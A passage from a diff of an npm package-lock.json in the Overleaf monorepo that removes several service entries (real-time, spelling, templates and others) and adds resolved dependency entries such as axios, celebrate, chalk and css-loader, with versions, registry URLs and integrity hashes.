+- "yargs-parser": "^20.2.2"
++ "color-convert": "^2.0.1"
+ }
+- }
+- }
+- },
+- "@overleaf/real-time": {
+- "version": "file:services/real-time",
+- "requires": {
+- "@hapi/joi": "^17.1.1",
+- "@overleaf/logger": "^3.1.0",
+- "@overleaf/metrics": "^4.0.0",
+- "@overleaf/o-error": "^3.4.0",
+- "@overleaf/redis-wrapper": "^2.0.0",
+- "@overleaf/settings": "^3.0.0",
+- "async": "^3.2.2",
+- "base64id": "0.1.0",
+- "body-parser": "^1.19.0",
+- "bunyan": "^1.8.15",
+- "chai": "^4.3.6",
+- "chai-as-promised": "^7.1.1",
+- "connect-redis": "^2.1.0",
+- "cookie-parser": "^1.4.5",
+- "cookie-signature": "^1.1.0",
+- "express": "^4.17.1",
+- "express-session": "^1.17.1",
+- "mocha": "^8.4.0",
+- "proxy-addr": "^2.0.7",
+- "request": "^2.88.2",
+- "sandboxed-module": "~0.3.0",
+- "sinon": "^9.2.4",
+- "socket.io": "git+ssh://git@github.com/overleaf/socket.io.git#af96d1b68d9918ee0f9cb82c62990395b0a601fb",
+- "socket.io-client": "overleaf/socket.io-client#0.9.17-overleaf-3",
+- "timekeeper": "0.0.4",
+- "uid-safe": "^2.1.5",
+- "underscore": "1.13.1"
+- },
+- "dependencies": {
+- "commander": {
+- "version": "2.1.0",
+- "resolved": "https://registry.npmjs.org/commander/-/commander-2.1.0.tgz",
+- "integrity": "sha512-J2wnb6TKniXNOtoHS8TSrG9IOQluPrsmyAJ8oCUJOBmv+uLBCyPYAZkD2jFvw2DCzIXNnISIM01NIvr35TkBMQ=="
+ },
+- "nan": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/nan/-/nan-1.0.0.tgz",
+- "integrity": "sha512-Wm2/nFOm2y9HtJfgOLnctGbfvF23FcQZeyUZqDD8JQG3zO5kXh3MkQKiUaA68mJiVWrOzLFkAV1u6bC8P52DJA=="
++ "array-union": {
++ "version": "3.0.1",
++ "resolved": "https://registry.npmjs.org/array-union/-/array-union-3.0.1.tgz",
++ "integrity": "sha512-1OvF9IbWwaeiM9VhzYXVQacMibxpXOMYVNIvMtKRyX9SImBXpKcFr8XvFDeEslCyuH/t6KRt7HEO94AlP8Iatw==",
++ "dev": true
+ },
+- "sandboxed-module": {
+- "version": "0.3.0",
+- "resolved": "https://registry.npmjs.org/sandboxed-module/-/sandboxed-module-0.3.0.tgz",
+- "integrity": "sha1-8fvvvYCaT2kHO9B8rm/H2y6vX2o=",
++ "axios": {
++ "version": "1.1.2",
++ "resolved": "https://registry.npmjs.org/axios/-/axios-1.1.2.tgz",
++ "integrity": "sha512-bznQyETwElsXl2RK7HLLwb5GPpOLlycxHCtrpDR/4RqqBzjARaOTo3jz4IgtntWUYee7Ne4S8UHd92VCuzPaWA==",
+ "dev": true,
+ "requires": {
+- "require-like": "0.1.2",
+- "stack-trace": "0.0.6"
++ "follow-redirects": "^1.15.0",
++ "form-data": "^4.0.0",
++ "proxy-from-env": "^1.1.0"
+ }
+ },
+- "socket.io-client": {
+- "version": "git+ssh://git@github.com/overleaf/socket.io-client.git#60e7aa96978e890dcfc244071de0284e9174e125",
+- "from": "socket.io-client@overleaf/socket.io-client#0.9.17-overleaf-3",
+- "requires": {
+- "active-x-obfuscator": "0.0.1",
+- "uglify-js": "1.2.5",
+- "ws": "0.4.x",
+- "xmlhttprequest": "1.4.2"
+- }
+- },
+- "stack-trace": {
+- "version": "0.0.6",
+- "resolved": "https://registry.npmjs.org/stack-trace/-/stack-trace-0.0.6.tgz",
+- "integrity": "sha1-HnGb1qJin/CcGJ4Xqe+QKpT8XbA=",
+- "dev": true
+- },
+- "timekeeper": {
+- "version": "0.0.4",
+- "resolved": "https://registry.npmjs.org/timekeeper/-/timekeeper-0.0.4.tgz",
+- "integrity": "sha1-kNt58X2Ni1NiFUOJSSuXJ2LP0nY=",
+- "dev": true
+- },
+- "uglify-js": {
+- "version": "1.2.5",
+- "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-1.2.5.tgz",
+- "integrity": "sha512-Ps1oQryKOcRDYuAN1tGpPWd/DIRMcdLz4p7JMxLjJiFvp+aaG01IEu0ZSoVvYUSxIkvW7k2X50BCW2InguEGlg=="
+- },
+- "underscore": {
+- "version": "1.13.1",
+- "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.1.tgz",
+- "integrity": "sha512-hzSoAVtJF+3ZtiFX0VgfFPHEDRm7Y/QPjGyNo4TVdnDTdft3tr8hEkD25a1jC+TjTuE7tkHGKkhwCgs9dgBB2g=="
+- },
+- "ws": {
+- "version": "0.4.32",
+- "resolved": "https://registry.npmjs.org/ws/-/ws-0.4.32.tgz",
+- "integrity": "sha512-htqsS0U9Z9lb3ITjidQkRvkLdVhQePrMeu475yEfOWkAYvJ6dSjQp1tOH6ugaddzX5b7sQjMPNtY71eTzrV/kA==",
+- "requires": {
+- "commander": "~2.1.0",
+- "nan": "~1.0.0",
+- "options": ">=0.0.5",
+- "tinycolor": "0.x"
+- }
+- }
+- }
+- },
+- "@overleaf/redis-wrapper": {
+- "version": "file:libraries/redis-wrapper",
+- "requires": {
+- "@overleaf/logger": "*",
+- "@overleaf/o-error": "^3.4.0",
+- "async": "^3.2.2",
+- "chai": "^4.3.6",
+- "ioredis": "~4.27.1",
+- "mocha": "^8.4.0",
+- "sandboxed-module": "^2.0.4",
+- "sinon": "^9.2.4"
+- }
+- },
+- "@overleaf/references": {
+- "version": "file:services/references",
+- "requires": {
+- "@overleaf/logger": "^3.1.0",
+- "@overleaf/metrics": "^4.0.0",
+- "@overleaf/o-error": "^3.4.0",
+- "@overleaf/redis-wrapper": "^2.0.0",
+- "@overleaf/settings": "^3.0.0",
+- "async": "^3.2.2",
+- "body-parser": "^1.19.0",
+- "bson": "^1.1.5",
+- "bunyan": "^1.8.15",
+- "chai": "^4.3.6",
+- "chai-as-promised": "^7.1.1",
+- "express": "^4.17.1",
+- "ioredis": "^4.16.1",
+- "lodash": "^4.17.19",
+- "mocha": "^8.4.0",
+- "request": "^2.88.2",
+- "sandboxed-module": "^2.0.4",
+- "sinon": "^9.2.4",
+- "underscore": "^1.10.2",
+- "uuid": "^7.0.3"
+- },
+- "dependencies": {
+- "uuid": {
+- "version": "7.0.3",
+- "resolved": "https://registry.npmjs.org/uuid/-/uuid-7.0.3.tgz",
+- "integrity": "sha512-DPSke0pXhTZgoF/d+WSt2QaKMCFSfx7QegxEWT+JOuHF5aWrKEn0G+ztjuJg/gG8/ItK+rbPCD/yNv8yyih6Cg=="
+- }
+- }
+- },
+- "@overleaf/settings": {
+- "version": "file:libraries/settings"
+- },
+- "@overleaf/spelling": {
+- "version": "file:services/spelling",
+- "requires": {
+- "@overleaf/logger": "^3.1.0",
+- "@overleaf/metrics": "^4.0.0",
+- "@overleaf/o-error": "^3.4.0",
+- "@overleaf/settings": "^3.0.0",
+- "async": "^3.2.2",
+- "body-parser": "^1.19.0",
+- "bunyan": "^1.8.15",
+- "chai": "^4.3.6",
+- "chai-as-promised": "^7.1.1",
+- "express": "^4.17.1",
+- "lru-cache": "^5.1.1",
+- "mocha": "^8.4.0",
+- "mongodb": "^3.6.0",
+- "request": "^2.88.2",
+- "sandboxed-module": "2.0.4",
+- "sinon": "^9.2.4",
+- "underscore": "1.13.1"
+- },
+- "dependencies": {
+- "underscore": {
+- "version": "1.13.1",
+- "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.1.tgz",
+- "integrity": "sha512-hzSoAVtJF+3ZtiFX0VgfFPHEDRm7Y/QPjGyNo4TVdnDTdft3tr8hEkD25a1jC+TjTuE7tkHGKkhwCgs9dgBB2g=="
+- }
+- }
+- },
+- "@overleaf/templates": {
+- "version": "file:services/templates",
+- "requires": {
+- "@overleaf/logger": "^3.1.0",
+- "@overleaf/metrics": "^4.0.0",
+- "@overleaf/settings": "^3.0.0",
+- "algolia-search": "~1.5.5",
+- "args-js": "0.10.12",
+- "async": "3.2.2",
+- "body-parser": "^1.19.0",
+- "bunyan": "^1.8.15",
+- "chai": "^4.3.6",
+- "chai-as-promised": "^7.1.1",
+- "express": "4.17.1",
+- "install": "^0.13.0",
+- "marked": "^4.1.0",
+- "method-override": "^3.0.0",
+- "mocha": "^8.4.0",
+- "mongoose": "^5.13.11",
+- "request": "^2.88.2",
+- "sandboxed-module": "^2.0.4",
+- "sinon": "^9.2.4",
+- "underscore": "1.9.2"
+- },
+- "dependencies": {
+- "body-parser": {
+- "version": "1.19.0",
+- "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz",
+- "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==",
++ "body-parser": {
++ "version": "1.19.0",
++ "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz",
++ "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==",
+ "requires": {
+ "bytes": "3.1.0",
+ "content-type": "~1.0.4",
+@@ -42045,6 +34424,21 @@
+ "qs": "6.7.0",
+ "raw-body": "2.4.0",
+ "type-is": "~1.6.17"
++ },
++ "dependencies": {
++ "debug": {
++ "version": "2.6.9",
++ "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
++ "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
++ "requires": {
++ "ms": "2.0.0"
++ }
++ },
++ "ms": {
++ "version": "2.0.0",
++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
++ "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
++ }
+ }
+ },
+ "bytes": {
+@@ -42052,435 +34446,407 @@
+ "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz",
+ "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg=="
+ },
+- "content-disposition": {
+- "version": "0.5.3",
+- "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz",
+- "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==",
++ "celebrate": {
++ "version": "10.1.0",
++ "resolved": "https://registry.npmjs.org/celebrate/-/celebrate-10.1.0.tgz",
++ "integrity": "sha512-Ybkb+/mek6nl4HZljFGUtma8r1Dq0ClYiHf5RVV3msoDFRsJlAFIR8J6+dKwL4EhgihIPFdBOMc6KFO9izMA9g==",
+ "requires": {
+- "safe-buffer": "5.1.2"
++ "@hapi/joi": "15.x.x",
++ "escape-html": "1.0.3",
++ "lodash.get": "4.4.x"
+ }
+ },
+- "cookie": {
+- "version": "0.4.0",
+- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz",
+- "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg=="
+- },
+- "cookie-signature": {
+- "version": "1.0.6",
+- "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
+- "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw="
+- },
+- "debug": {
+- "version": "2.6.9",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
++ "chalk": {
++ "version": "4.1.2",
++ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
++ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
++ "dev": true,
+ "requires": {
+- "ms": "2.0.0"
++ "ansi-styles": "^4.1.0",
++ "supports-color": "^7.1.0"
+ }
+ },
+- "express": {
+- "version": "4.17.1",
+- "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz",
+- "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==",
++ "commander": {
++ "version": "7.2.0",
++ "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz",
++ "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==",
++ "dev": true
++ },
++ "concat-stream": {
++ "version": "1.6.2",
++ "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz",
++ "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==",
+ "requires": {
+- "accepts": "~1.3.7",
+- "array-flatten": "1.1.1",
+- "body-parser": "1.19.0",
+- "content-disposition": "0.5.3",
+- "content-type": "~1.0.4",
+- "cookie": "0.4.0",
+- "cookie-signature": "1.0.6",
+- "debug": "2.6.9",
+- "depd": "~1.1.2",
+- "encodeurl": "~1.0.2",
+- "escape-html": "~1.0.3",
+- "etag": "~1.8.1",
+- "finalhandler": "~1.1.2",
+- "fresh": "0.5.2",
+- "merge-descriptors": "1.0.1",
+- "methods": "~1.1.2",
+- "on-finished": "~2.3.0",
+- "parseurl": "~1.3.3",
+- "path-to-regexp": "0.1.7",
+- "proxy-addr": "~2.0.5",
+- "qs": "6.7.0",
+- "range-parser": "~1.2.1",
+- "safe-buffer": "5.1.2",
+- "send": "0.17.1",
+- "serve-static": "1.14.1",
+- "setprototypeof": "1.1.1",
+- "statuses": "~1.5.0",
+- "type-is": "~1.6.18",
+- "utils-merge": "1.0.1",
+- "vary": "~1.1.2"
++ "buffer-from": "^1.0.0",
++ "inherits": "^2.0.3",
++ "readable-stream": "^2.2.2",
++ "typedarray": "^0.0.6"
++ },
++ "dependencies": {
++ "readable-stream": {
++ "version": "2.3.7",
++ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
++ "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
++ "requires": {
++ "core-util-is": "~1.0.0",
++ "inherits": "~2.0.3",
++ "isarray": "~1.0.0",
++ "process-nextick-args": "~2.0.0",
++ "safe-buffer": "~5.1.1",
++ "string_decoder": "~1.1.1",
++ "util-deprecate": "~1.0.1"
++ }
++ }
+ }
+ },
+- "http-errors": {
+- "version": "1.7.2",
+- "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz",
+- "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==",
++ "connect-redis": {
++ "version": "3.4.2",
++ "resolved": "https://registry.npmjs.org/connect-redis/-/connect-redis-3.4.2.tgz",
++ "integrity": "sha512-ozA1Z0GDnsCJECfNyNJOqPuW3Fk43fUbKC65Sa/V9hkCBNtXsFU2xtTOVsQGUsflpywuJMgGOV4xrnKzIPFqvA==",
+ "requires": {
+- "depd": "~1.1.2",
+- "inherits": "2.0.3",
+- "setprototypeof": "1.1.1",
+- "statuses": ">= 1.5.0 < 2",
+- "toidentifier": "1.0.0"
++ "debug": "^4.1.1",
++ "redis": "^2.8.0"
+ }
+ },
+- "inherits": {
+- "version": "2.0.3",
+- "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
+- "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
+- },
+- "mime": {
+- "version": "1.6.0",
+- "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
+- "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="
+- },
+- "ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+- },
+- "qs": {
+- "version": "6.7.0",
+- "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz",
+- "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ=="
+- },
+- "raw-body": {
+- "version": "2.4.0",
+- "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz",
+- "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==",
++ "content-disposition": {
++ "version": "0.5.3",
++ "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz",
++ "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==",
+ "requires": {
+- "bytes": "3.1.0",
+- "http-errors": "1.7.2",
+- "iconv-lite": "0.4.24",
+- "unpipe": "1.0.0"
++ "safe-buffer": "5.1.2"
+ }
+ },
+- "send": {
+- "version": "0.17.1",
+- "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz",
+- "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==",
++ "cookie-parser": {
++ "version": "1.3.5",
++ "resolved": "https://registry.npmjs.org/cookie-parser/-/cookie-parser-1.3.5.tgz",
++ "integrity": "sha1-nXVVcPtdF4kHcSJ6AjFNm+fPg1Y=",
+ "requires": {
+- "debug": "2.6.9",
+- "depd": "~1.1.2",
+- "destroy": "~1.0.4",
+- "encodeurl": "~1.0.2",
+- "escape-html": "~1.0.3",
+- "etag": "~1.8.1",
+- "fresh": "0.5.2",
+- "http-errors": "~1.7.2",
+- "mime": "1.6.0",
+- "ms": "2.1.1",
+- "on-finished": "~2.3.0",
+- "range-parser": "~1.2.1",
+- "statuses": "~1.5.0"
++ "cookie": "0.1.3",
++ "cookie-signature": "1.0.6"
+ },
+ "dependencies": {
+- "ms": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz",
+- "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg=="
++ "cookie": {
++ "version": "0.1.3",
++ "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.1.3.tgz",
++ "integrity": "sha1-5zSlwUF/zkctWu+Cw4HKu2TRpDU="
+ }
+ }
+ },
+- "serve-static": {
+- "version": "1.14.1",
+- "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz",
+- "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==",
+- "requires": {
+- "encodeurl": "~1.0.2",
+- "escape-html": "~1.0.3",
+- "parseurl": "~1.3.3",
+- "send": "0.17.1"
+- }
+- },
+- "setprototypeof": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz",
+- "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw=="
+- },
+- "toidentifier": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz",
+- "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw=="
+- },
+- "underscore": {
+- "version": "1.9.2",
+- "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.9.2.tgz",
+- "integrity": "sha512-D39qtimx0c1fI3ya1Lnhk3E9nONswSKhnffBI0gME9C99fYOkNi04xs8K6pePLhvl1frbDemkaBQ5ikWllR2HQ=="
+- }
+- }
+- },
+- "@overleaf/third-party-datastore": {
+- "version": "file:services/third-party-datastore",
+- "requires": {
+- "@overleaf/access-token-encryptor": "^2.2.0",
+- "@overleaf/logger": "^3.1.0",
+- "@overleaf/metrics": "^4.0.0",
+- "@overleaf/o-error": "^3.4.0",
+- "@overleaf/redis-wrapper": "^2.0.1",
+- "@overleaf/settings": "^3.0.0",
+- "async": "^3.2.2",
+- "body-parser": "^1.19.0",
+- "bunyan": "^1.8.15",
+- "chai": "^4.3.6",
+- "chai-as-promised": "^7.1.1",
+- "dropbox": "^10.24.0",
+- "express": "^4.17.1",
+- "lru-cache": "^4.1.5",
+- "mocha": "^8.4.0",
+- "mongodb": "^3.6.0",
+- "nock": "0.15.2",
+- "node-fetch": "^2.6.7",
+- "p-limit": "^2.3.0",
+- "request": "^2.88.2",
+- "sandboxed-module": "^2.0.4",
+- "sinon": "9.0.1",
+- "sinon-chai": "^3.7.0",
+- "sinon-stub-promise": "^4.0.0",
+- "underscore": "^1.13.1",
+- "uuid": "^8.3.2"
+- },
+- "dependencies": {
+- "diff": {
+- "version": "4.0.2",
+- "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz",
+- "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==",
+- "dev": true
++ "cookie-signature": {
++ "version": "1.0.6",
++ "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
++ "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw="
+ },
+- "lru-cache": {
+- "version": "4.1.5",
+- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz",
+- "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==",
++ "copy-webpack-plugin": {
++ "version": "10.2.4",
++ "resolved": "https://registry.npmjs.org/copy-webpack-plugin/-/copy-webpack-plugin-10.2.4.tgz",
++ "integrity": "sha512-xFVltahqlsRcyyJqQbDY6EYTtyQZF9rf+JPjwHObLdPFMEISqkFkr7mFoVOC6BfYS/dNThyoQKvziugm+OnwBg==",
++ "dev": true,
+ "requires": {
+- "pseudomap": "^1.0.2",
+- "yallist": "^2.1.2"
++ "fast-glob": "^3.2.7",
++ "glob-parent": "^6.0.1",
++ "globby": "^12.0.2",
++ "normalize-path": "^3.0.0",
++ "schema-utils": "^4.0.0",
++ "serialize-javascript": "^6.0.0"
++ },
++ "dependencies": {
++ "ajv": {
++ "version": "8.11.0",
++ "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz",
++ "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==",
++ "dev": true,
++ "requires": {
++ "fast-deep-equal": "^3.1.1",
++ "json-schema-traverse": "^1.0.0",
++ "require-from-string": "^2.0.2",
++ "uri-js": "^4.2.2"
++ }
++ },
++ "ajv-keywords": {
++ "version": "5.1.0",
++ "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
++ "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
++ "dev": true,
++ "requires": {
++ "fast-deep-equal": "^3.1.3"
++ }
++ },
++ "globby": {
++ "version": "12.2.0",
++ "resolved": "https://registry.npmjs.org/globby/-/globby-12.2.0.tgz",
++ "integrity": "sha512-wiSuFQLZ+urS9x2gGPl1H5drc5twabmm4m2gTR27XDFyjUHJUNsS8o/2aKyIF6IoBaR630atdher0XJ5g6OMmA==",
++ "dev": true,
++ "requires": {
++ "array-union": "^3.0.1",
++ "dir-glob": "^3.0.1",
++ "fast-glob": "^3.2.7",
++ "ignore": "^5.1.9",
++ "merge2": "^1.4.1",
++ "slash": "^4.0.0"
++ }
++ },
++ "schema-utils": {
++ "version": "4.0.0",
++ "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz",
++ "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==",
++ "dev": true,
++ "requires": {
++ "@types/json-schema": "^7.0.9",
++ "ajv": "^8.8.0",
++ "ajv-formats": "^2.1.1",
++ "ajv-keywords": "^5.0.0"
++ }
++ }
+ }
+ },
+- "p-limit": {
+- "version": "2.3.0",
+- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+- "requires": {
+- "p-try": "^2.0.0"
+- }
++ "css-declaration-sorter": {
++ "version": "6.2.2",
++ "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.2.2.tgz",
++ "integrity": "sha512-Ufadglr88ZLsrvS11gjeu/40Lw74D9Am/Jpr3LlYm5Q4ZP5KdlUhG+6u2EjyXeZcxmZ2h1ebCKngDjolpeLHpg==",
++ "dev": true,
++ "requires": {}
+ },
+- "sinon": {
+- "version": "9.0.1",
+- "resolved": "https://registry.npmjs.org/sinon/-/sinon-9.0.1.tgz",
+- "integrity": "sha512-iTTyiQo5T94jrOx7X7QLBZyucUJ2WvL9J13+96HMfm2CGoJYbIPqRfl6wgNcqmzk0DI28jeGx5bUTXizkrqBmg==",
++ "css-loader": {
++ "version": "6.7.1",
++ "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.7.1.tgz",
++ "integrity": "sha512-yB5CNFa14MbPJcomwNh3wLThtkZgcNyI2bNMRt8iE5Z8Vwl7f8vQXFAzn2HDOJvtDq2NTZBUGMSUNNyrv3/+cw==",
+ "dev": true,
+ "requires": {
+- "@sinonjs/commons": "^1.7.0",
+- "@sinonjs/fake-timers": "^6.0.0",
+- "@sinonjs/formatio": "^5.0.1",
+- "@sinonjs/samsam": "^5.0.3",
+- "diff": "^4.0.2",
+- "nise": "^4.0.1",
+- "supports-color": "^7.1.0"
++ "icss-utils": "^5.1.0",
++ "postcss": "^8.4.7",
++ "postcss-modules-extract-imports": "^3.0.0",
++ "postcss-modules-local-by-default": "^4.0.0",
++ "postcss-modules-scope": "^3.0.0",
++ "postcss-modules-values": "^4.0.0",
++ "postcss-value-parser": "^4.2.0",
++ "semver": "^7.3.5"
++ },
++ "dependencies": {
++ "lru-cache": {
++ "version": "6.0.0",
++ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
++ "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
++ "dev": true,
++ "requires": {
++ "yallist": "^4.0.0"
++ }
++ },
++ "semver": {
++ "version": "7.3.5",
++ "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz",
++ "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==",
++ "dev": true,
++ "requires": {
++ "lru-cache": "^6.0.0"
++ }
++ }
+ }
+ },
+- "supports-color": {
+- "version": "7.2.0",
+- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
++ "css-minimizer-webpack-plugin": {
++ "version": "3.4.1",
++ "resolved": "https://registry.npmjs.org/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-3.4.1.tgz",
++ "integrity": "sha512-1u6D71zeIfgngN2XNRJefc/hY7Ybsxd74Jm4qngIXyUEk7fss3VUzuHxLAq/R8NAba4QU9OUSaMZlbpRc7bM4Q==",
+ "dev": true,
+ "requires": {
+- "has-flag": "^4.0.0"
+- }
+- },
+- "uuid": {
+- "version": "8.3.2",
+- "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
